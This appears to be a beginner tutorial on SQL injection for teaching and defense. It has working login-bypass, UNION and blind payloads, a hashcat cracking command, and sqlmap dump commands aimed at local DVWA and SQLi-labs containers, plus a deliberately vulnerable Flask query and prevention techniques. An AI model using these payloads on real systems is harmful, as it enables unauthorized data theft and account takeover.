SQL Injection from Zero: Understand It, Exploit It, Fix It

What Is SQL Injection?

SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries an application makes to its database. It's consistently ranked in the OWASP Top 10 and remains one of the most exploited vulnerabilities decades after its discovery.

The core problem: the application builds SQL queries by concatenating user input directly into the query string, allowing attackers to inject their own SQL code.

How SQL Injection Works

Consider a login form that checks credentials:

# Python (Flask) — VULNERABLE CODE
username = request.form['username']
password = request.form['password']

query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
result = db.execute(query)

Normal input: username=alice, password=secret123

SELECT * FROM users WHERE username = 'alice' AND password = 'secret123'

Malicious input: username=admin' --

SELECT * FROM users WHERE username = 'admin' --' AND password = ''
-- Everything after -- is a comment. Password check is bypassed!

The attacker just logged in as admin without knowing the password.

Types of SQL Injection

1. Classic (In-Band) SQLi

The attacker gets results directly in the application's response. Easiest to exploit and detect.

# Union-based: Extract data from other tables
GET /products?id=1 UNION SELECT username, password FROM users --

2. Blind SQLi

The application doesn't show query results, but the attacker can infer information from the application's behavior (true/false responses, time delays).

# Boolean-based blind
GET /products?id=1 AND (SELECT LENGTH(password) FROM users WHERE username='admin') = 8

# Time-based blind
GET /products?id=1 AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)

3. Out-of-Band SQLi

The attacker triggers the database to send data to an external server they control. Used when no response is visible.

Hands-On Lab Setup

Let's practice safely. We'll use a deliberately vulnerable application:

Option 1: DVWA (Damn Vulnerable Web Application)

# Run DVWA with Docker
docker run -d -p 8080:80 vulnerables/web-dvwa
# Access: http://localhost:8080
# Login: admin / password
# Navigate to "SQL Injection" module

Option 2: SQLi-labs

# Run SQLi-labs
docker run -d -p 8081:80 acgpiano/sqli-labs
# Access: http://localhost:8081
# Start with Lesson 1

Exploitation Walkthrough

Step 1: Detect the Vulnerability

Add a single quote to the input and look for SQL errors:

# In the URL or input field:
http://localhost:8080/vulnerabilities/sqli/?id=1'

# If you see an error like:
# "You have an error in your SQL syntax..."
# → The parameter is injectable!

Step 2: Determine the Number of Columns

# Use ORDER BY to find the column count
?id=1' ORDER BY 1 -- -    ← Works
?id=1' ORDER BY 2 -- -    ← Works
?id=1' ORDER BY 3 -- -    ← Error! → Table has 2 columns

Step 3: Extract Data with UNION

# Find which columns are displayed
?id=1' UNION SELECT 1,2 -- -

# Extract database version
?id=1' UNION SELECT 1,@@version -- -

# Extract table names
?id=1' UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database() -- -

# Extract usernames and passwords
?id=1' UNION SELECT username,password FROM users -- -

Step 4: Crack the Hashes

# If passwords are MD5 hashed:
echo "5f4dcc3b5aa765d61d8327deb882cf99" | hashcat -m 0 -a 0 rockyou.txt

Automated Testing with sqlmap

# Install sqlmap
pip install sqlmap

# Basic scan
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1" --cookie="PHPSESSID=abc123; security=low"

# Dump the database
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1" --cookie="..." --dump

# List databases
sqlmap -u "http://target/page?id=1" --dbs

How to Prevent SQL Injection

1. Parameterized Queries (The Gold Standard)

# Python — SAFE
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))

# Node.js — SAFE
db.query("SELECT * FROM users WHERE username = $1", [username]);

# Java — SAFE
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
stmt.setInt(1, userId);

2. Use an ORM

# SQLAlchemy (Python)
user = User.query.filter_by(username=username).first()

# Prisma (Node.js)
const user = await prisma.user.findUnique({ where: { username } });

3. Input Validation

# Whitelist expected patterns
import re
if not re.match(r'^[a-zA-Z0-9_]{3,20}$', username):
    abort(400, "Invalid username format")

4. Least Privilege

-- Database user for the app should NOT have:
GRANT DROP, ALTER, CREATE ON *.* TO 'appuser'@'localhost';

-- Only grant what's needed:
GRANT SELECT, INSERT, UPDATE ON myapp.* TO 'appuser'@'localhost';

Key Takeaways

• Never concatenate user input into SQL queries — this is the root cause of all SQLi
• Use parameterized queries or an ORM — they handle escaping for you
• SQLi is easy to test with tools like sqlmap — include it in your security testing pipeline
• Apply defense in depth: validation + parameterized queries + least privilege + WAF
• Practice in DVWA or SQLi-labs to build intuition before testing real applications